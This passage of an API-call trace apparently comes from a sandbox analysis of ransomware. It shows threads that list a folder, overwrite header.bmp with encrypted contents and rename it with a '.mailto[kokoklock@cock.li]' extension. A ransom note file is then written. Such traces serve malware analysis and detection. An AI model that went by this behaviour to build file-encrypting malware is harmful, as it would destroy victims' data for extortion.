Flags=0x0, BaseAddress=0x33fa0a8) returned 1 [0062.354] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcf20) returned 1 [0062.354] RtlExitUserThread (Status=0x0) Thread: id = 60 os_tid = 0x9fc [0060.318] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x42) returned 0x33fa0f8 [0060.318] wcscpy (in: _Dest=0x33fa0f8, _Source="C:\\588bce7c90097ed212\\Graphics" | out: _Dest="C:\\588bce7c90097ed212\\Graphics") returned="C:\\588bce7c90097ed212\\Graphics" [0060.318] wcscat (in: _Dest=0x33fa0f8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\Graphics\\") returned="C:\\588bce7c90097ed212\\Graphics\\" [0060.318] wcscat (in: _Dest=0x33fa0f8, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\Graphics\\*") returned="C:\\588bce7c90097ed212\\Graphics\\*" [0060.318] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34521e8 [0060.318] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x34521e8 | out: lpFindFileData=0x34521e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34338a8 [0060.322] wcscmp (_String1=".", _String2=".") returned 0 [0060.322] FindNextFileW (in: hFindFile=0x34338a8, lpFindFileData=0x34521e8 | out: lpFindFileData=0x34521e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.322] wcscmp (_String1="..", _String2=".") returned 1 [0060.322] wcscmp (_String1="..", _String2="..") returned 0 [0060.322] FindNextFileW (in: hFindFile=0x34338a8, lpFindFileData=0x34521e8 | out: lpFindFileData=0x34521e8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico", cAlternateFileName="")) returned 1 [0060.322] wcscmp (_String1="Print.ico", _String2=".") returned 1 [0060.322] wcscmp (_String1="Print.ico", _String2="..") returned 1 [0060.322] FindNextFileW (in: hFindFile=0x34338a8, lpFindFileData=0x34521e8 | out: lpFindFileData=0x34521e8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1 [0060.322] wcscmp (_String1="Rotate1.ico", _String2=".") returned 1 [0060.323] wcscmp (_String1="Rotate1.ico", _String2="..") returned 1 [0060.323] FindNextFileW (in: hFindFile=0x34338a8, lpFindFileData=0x34521e8 | out: lpFindFileData=0x34521e8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1 [0060.323] wcscmp (_String1="Rotate2.ico", _String2=".") returned 1 [0060.323] wcscmp (_String1="Rotate2.ico", _String2="..") returned 1 [0060.323] FindNextFileW (in: hFindFile=0x34338a8, lpFindFileData=0x34521e8 | out: lpFindFileData=0x34521e8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1 [0060.323] wcscmp (_String1="Rotate3.ico", _String2=".") returned 1 [0060.323] wcscmp (_String1="Rotate3.ico", _String2="..") returned 1 [0060.323] FindNextFileW (in: hFindFile=0x34338a8, lpFindFileData=0x34521e8 | out: lpFindFileData=0x34521e8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1 [0060.323] wcscmp (_String1="Rotate4.ico", _String2=".") returned 1 [0060.323] wcscmp (_String1="Rotate4.ico", _String2="..") returned 1 [0060.323] FindNextFileW (in: hFindFile=0x34338a8, lpFindFileData=0x34521e8 | out: lpFindFileData=0x34521e8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1 [0060.323] wcscmp (_String1="Rotate5.ico", _String2=".") returned 1 [0060.323] wcscmp (_String1="Rotate5.ico", _String2="..") returned 1 [0060.323] FindNextFileW (in: hFindFile=0x34338a8, lpFindFileData=0x34521e8 | out: lpFindFileData=0x34521e8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1 [0060.323] wcscmp (_String1="Rotate6.ico", _String2=".") returned 1 [0060.323] wcscmp (_String1="Rotate6.ico", _String2="..") returned 1 [0060.323] FindNextFileW (in: hFindFile=0x34338a8, lpFindFileData=0x34521e8 | out: lpFindFileData=0x34521e8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1 [0060.323] wcscmp (_String1="Rotate7.ico", _String2=".") returned 1 [0060.323] wcscmp (_String1="Rotate7.ico", _String2="..") returned 1 [0060.323] FindNextFileW (in: hFindFile=0x34338a8, lpFindFileData=0x34521e8 | out: lpFindFileData=0x34521e8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1 [0060.323] wcscmp (_String1="Rotate8.ico", _String2=".") returned 1 [0060.323] wcscmp (_String1="Rotate8.ico", _String2="..") returned 1 [0060.323] FindNextFileW (in: hFindFile=0x34338a8, lpFindFileData=0x34521e8 | out: lpFindFileData=0x34521e8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico", cAlternateFileName="")) returned 1 [0060.323] wcscmp (_String1="Save.ico", _String2=".") returned 1 [0060.323] wcscmp (_String1="Save.ico", _String2="..") returned 1 [0060.323] FindNextFileW (in: hFindFile=0x34338a8, lpFindFileData=0x34521e8 | out: lpFindFileData=0x34521e8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico", cAlternateFileName="")) returned 1 [0060.323] wcscmp (_String1="Setup.ico", _String2=".") returned 1 [0060.323] wcscmp (_String1="Setup.ico", _String2="..") returned 1 [0060.323] FindNextFileW (in: hFindFile=0x34338a8, lpFindFileData=0x34521e8 | out: lpFindFileData=0x34521e8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico", cAlternateFileName="")) returned 1 [0060.323] wcscmp (_String1="stop.ico", _String2=".") returned 1 [0060.324] wcscmp (_String1="stop.ico", _String2="..") returned 1 [0060.324] FindNextFileW (in: hFindFile=0x34338a8, lpFindFileData=0x34521e8 | out: lpFindFileData=0x34521e8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1 [0060.324] wcscmp (_String1="SysReqMet.ico", _String2=".") returned 1 [0060.324] wcscmp (_String1="SysReqMet.ico", _String2="..") returned 1 [0060.324] FindNextFileW (in: hFindFile=0x34338a8, lpFindFileData=0x34521e8 | out: lpFindFileData=0x34521e8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1 [0060.324] wcscmp (_String1="SysReqNotMet.ico", _String2=".") returned 1 [0060.324] wcscmp (_String1="SysReqNotMet.ico", _String2="..") returned 1 [0060.324] FindNextFileW (in: hFindFile=0x34338a8, lpFindFileData=0x34521e8 | out: lpFindFileData=0x34521e8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 1 [0060.324] wcscmp (_String1="warn.ico", _String2=".") returned 1 [0060.324] wcscmp (_String1="warn.ico", _String2="..") returned 1 [0060.324] FindNextFileW (in: hFindFile=0x34338a8, lpFindFileData=0x34521e8 | out: lpFindFileData=0x34521e8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 0 [0060.324] FindClose (in: hFindFile=0x34338a8 | out: hFindFile=0x34338a8) returned 1 [0060.325] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34521e8) returned 1 [0060.325] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fa0f8) returned 1 [0060.325] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0060.325] RtlExitUserThread (Status=0x0) Thread: id = 61 os_tid = 0xe0 [0060.319] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 0x80 [0060.335] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp", dwFileAttributes=0x20) returned 1 [0060.335] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0060.335] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x6b2fd8c | out: lpFileSize=0x6b2fd8c*=3628) returned 1 [0060.335] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0xe28, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.336] ReadFile (in: hFile=0x594, lpBuffer=0x6b2fd60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x6b2fd5c, lpOverlapped=0x0 | out: lpBuffer=0x6b2fd60*, lpNumberOfBytesRead=0x6b2fd5c*=0x4, lpOverlapped=0x0) returned 1 [0060.370] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.370] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e48a0 [0060.370] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e47d8 [0060.370] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4a58 [0060.370] NtQuerySystemTime (in: CurrentTime=0x6b2fd38 | out: CurrentTime=0x6b2fd38*=132121176182582273) returned 0x0 [0060.370] RtlRandom (in: Seed=0x6b2fd44 | out: Seed=0x6b2fd44) returned 0xb5ed7889 [0060.370] RtlRandom (in: Seed=0x6b2fd44 | out: Seed=0x6b2fd44) returned 0x3fabf059 [0060.370] RtlRandom (in: Seed=0x6b2fd44 | out: Seed=0x6b2fd44) returned 0xc533f210 [0060.370] RtlRandom (in: Seed=0x6b2fd44 | out: Seed=0x6b2fd44) returned 0xd3665f04 [0060.370] RtlRandom (in: Seed=0x6b2fd44 | out: Seed=0x6b2fd44) returned 0x296e1cc6 [0060.370] RtlRandom (in: Seed=0x6b2fd44 | out: Seed=0x6b2fd44) returned 0xd2458bc3 [0060.370] RtlRandom (in: Seed=0x6b2fd44 | out: Seed=0x6b2fd44) returned 0x61497821 [0060.370] RtlRandom (in: Seed=0x6b2fd44 | out: Seed=0x6b2fd44) returned 0x2df0bf60 [0060.370] RtlRandom (in: Seed=0x6b2fd44 | out: Seed=0x6b2fd44) returned 0x37395d3b [0060.370] RtlRandom (in: Seed=0x6b2fd44 | out: Seed=0x6b2fd44) returned 0x6ba49191 [0060.370] RtlRandom (in: Seed=0x6b2fd44 | out: Seed=0x6b2fd44) returned 0xcc9f68ff [0060.370] RtlRandom (in: Seed=0x6b2fd44 | out: Seed=0x6b2fd44) returned 0x2e80ca39 [0060.370] RtlRandom (in: Seed=0x6b2fd44 | out: Seed=0x6b2fd44) returned 0x380bcfb8 [0060.370] RtlRandom (in: Seed=0x6b2fd44 | out: Seed=0x6b2fd44) returned 0x6fe16ea0 [0060.370] RtlRandom (in: Seed=0x6b2fd44 | out: Seed=0x6b2fd44) returned 0x561600f4 [0060.370] RtlRandom (in: Seed=0x6b2fd44 | out: Seed=0x6b2fd44) returned 0x6946bd3d [0060.371] RtlRandom (in: Seed=0x6b2fd44 | out: Seed=0x6b2fd44) returned 0x56c51a76 [0060.371] RtlRandom (in: Seed=0x6b2fd44 | out: Seed=0x6b2fd44) returned 0x87e99fd7 [0060.371] RtlRandom (in: Seed=0x6b2fd44 | out: Seed=0x6b2fd44) returned 0x6efcee2d [0060.371] RtlRandom (in: Seed=0x6b2fd44 | out: Seed=0x6b2fd44) returned 0x70c1a24e [0060.371] RtlRandom (in: Seed=0x6b2fd44 | out: Seed=0x6b2fd44) returned 0xc3bf249e [0060.371] RtlRandom (in: Seed=0x6b2fd44 | out: Seed=0x6b2fd44) returned 0xb8ee292c [0060.371] RtlRandom (in: Seed=0x6b2fd44 | out: Seed=0x6b2fd44) returned 0x229823d3 [0060.371] RtlRandom (in: Seed=0x6b2fd44 | out: Seed=0x6b2fd44) returned 0x77e2f295 [0060.371] RtlRandom (in: Seed=0x6b2fd44 | out: Seed=0x6b2fd44) returned 0x5cd44a33 [0060.371] RtlRandom (in: Seed=0x6b2fd44 | out: Seed=0x6b2fd44) returned 0x6eb6d7a3 [0060.371] RtlRandom (in: Seed=0x6b2fd44 | out: Seed=0x6b2fd44) returned 0xe74f81f8 [0060.371] RtlRandom (in: Seed=0x6b2fd44 | out: Seed=0x6b2fd44) returned 0xe9eef5d1 [0060.371] RtlRandom (in: Seed=0x6b2fd44 | out: Seed=0x6b2fd44) returned 0xacdc187b [0060.371] RtlRandom (in: Seed=0x6b2fd44 | out: Seed=0x6b2fd44) returned 0x8874d7e4 [0060.371] RtlRandom (in: Seed=0x6b2fd44 | out: Seed=0x6b2fd44) returned 0x935cb7a0 [0060.371] RtlRandom (in: Seed=0x6b2fd44 | out: Seed=0x6b2fd44) returned 0x947046a4 [0060.379] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4800 [0060.381] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x33c3a58 [0060.381] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4be8 [0060.381] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c3a58) returned 1 [0060.381] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e48a0) returned 1 [0060.381] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0060.381] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x33c3a58 [0060.381] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4850 [0060.382] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4850) returned 1 [0060.382] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x347d970 [0060.382] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3481a10 [0060.383] ReadFile (in: hFile=0x594, lpBuffer=0x347d970, nNumberOfBytesToRead=0xe2c, lpNumberOfBytesRead=0x6b2fd38, lpOverlapped=0x0 | out: lpBuffer=0x347d970*, lpNumberOfBytesRead=0x6b2fd38*=0xe2c, lpOverlapped=0x0) returned 1 [0060.383] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6b2fd00 | out: lpNewFilePointer=0x0) returned 1 [0060.383] WriteFile (in: hFile=0x594, lpBuffer=0x3481a10*, nNumberOfBytesToWrite=0xe2c, lpNumberOfBytesWritten=0x6b2fd34, lpOverlapped=0x0 | out: lpBuffer=0x3481a10*, lpNumberOfBytesWritten=0x6b2fd34*=0xe2c, lpOverlapped=0x0) returned 1 [0060.383] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4968 [0060.383] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4850 [0060.383] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4850) returned 1 [0060.383] WriteFile (in: hFile=0x594, lpBuffer=0x33e4968*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6b2fd30, lpOverlapped=0x0 | out: lpBuffer=0x33e4968*, lpNumberOfBytesWritten=0x6b2fd30*=0x20, lpOverlapped=0x0) returned 1 [0060.383] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4968) returned 1 [0060.383] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481a10) returned 1 [0060.383] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d970) returned 1 [0060.383] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c3a58) returned 1 [0060.383] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0060.383] WriteFile (in: hFile=0x594, lpBuffer=0x33e4be8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6b2fd5c, lpOverlapped=0x0 | out: lpBuffer=0x33e4be8*, lpNumberOfBytesWritten=0x6b2fd5c*=0x8, lpOverlapped=0x0) returned 1 [0060.383] WriteFile (in: hFile=0x594, lpBuffer=0x6b2fd74*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6b2fd5c, lpOverlapped=0x0 | out: lpBuffer=0x6b2fd74*, lpNumberOfBytesWritten=0x6b2fd5c*=0x4, lpOverlapped=0x0) returned 1 [0060.384] WriteFile (in: hFile=0x594, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6b2fd5c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x6b2fd5c*=0x4, lpOverlapped=0x0) returned 1 [0060.384] WriteFile (in: hFile=0x594, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x6b2fd5c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x6b2fd5c*=0x6c, lpOverlapped=0x0) returned 1 [0060.384] WriteFile (in: hFile=0x594, lpBuffer=0x33e47d8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6b2fd5c, lpOverlapped=0x0 | out: lpBuffer=0x33e47d8*, lpNumberOfBytesWritten=0x6b2fd5c*=0x20, lpOverlapped=0x0) returned 1 [0060.384] WriteFile (in: hFile=0x594, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6b2fd5c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x6b2fd5c*=0x4, lpOverlapped=0x0) returned 1 [0060.384] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e47d8) returned 1 [0060.384] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4800) returned 1 [0060.384] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4be8) returned 1 [0060.384] CloseHandle (hObject=0x594) returned 1 [0060.385] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x84) returned 0x33e2960 [0060.385] wcscpy (in: _Dest=0x33e2960, _Source="C:\\588bce7c90097ed212\\header.bmp" | out: _Dest="C:\\588bce7c90097ed212\\header.bmp") returned="C:\\588bce7c90097ed212\\header.bmp" [0060.385] wcscat (in: _Dest=0x33e2960, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\header.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\header.bmp.mailto[kokoklock@cock.li].d0e731" [0060.385] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), lpNewFileName="C:\\588bce7c90097ed212\\header.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\header.bmp.mailto[kokoklock@cock.li].d0e731")) returned 1 [0060.438] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0060.439] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2960) returned 1 [0060.439] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp", dwFileAttributes=0x80) returned 0 [0060.439] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x52) returned 0x34820f8 [0060.439] wcscpy (in: _Dest=0x34820f8, _Source="C:\\588bce7c90097ed212\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0060.439] wcscat (in: _Dest=0x34820f8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\D0E731-Readme.txt" [0060.439] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\d0e731-readme.txt")) returned 0xffffffff [0060.439] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0060.440] WriteFile (in: hFile=0x594, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x6b2fd58, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x6b2fd58*=0x481, lpOverlapped=0x0) returned 1 [0060.443] CloseHandle (hObject=0x594) returned 1 [0060.443] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34820f8) returned 1 [0060.443] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341c1b0) returned 1 [0060.443] RtlExitUserThread (Status=0x1) Thread: id = 62 os_tid = 0xfb8 [0060.319] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz")) returned 0x80 [0060.326] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz", dwFileAttributes=0x20) returned 1 [0060.327] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), 